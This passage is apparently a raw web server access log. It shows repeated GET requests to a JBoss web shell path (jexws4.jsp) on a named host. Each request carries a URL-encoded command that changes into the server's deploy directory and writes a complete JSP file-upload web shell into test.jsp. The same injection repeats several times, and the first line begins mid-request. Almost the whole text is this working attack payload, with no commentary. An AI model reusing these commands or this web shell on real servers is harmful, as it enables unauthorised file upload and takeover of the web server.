%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783208485 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783161137 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783100521 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
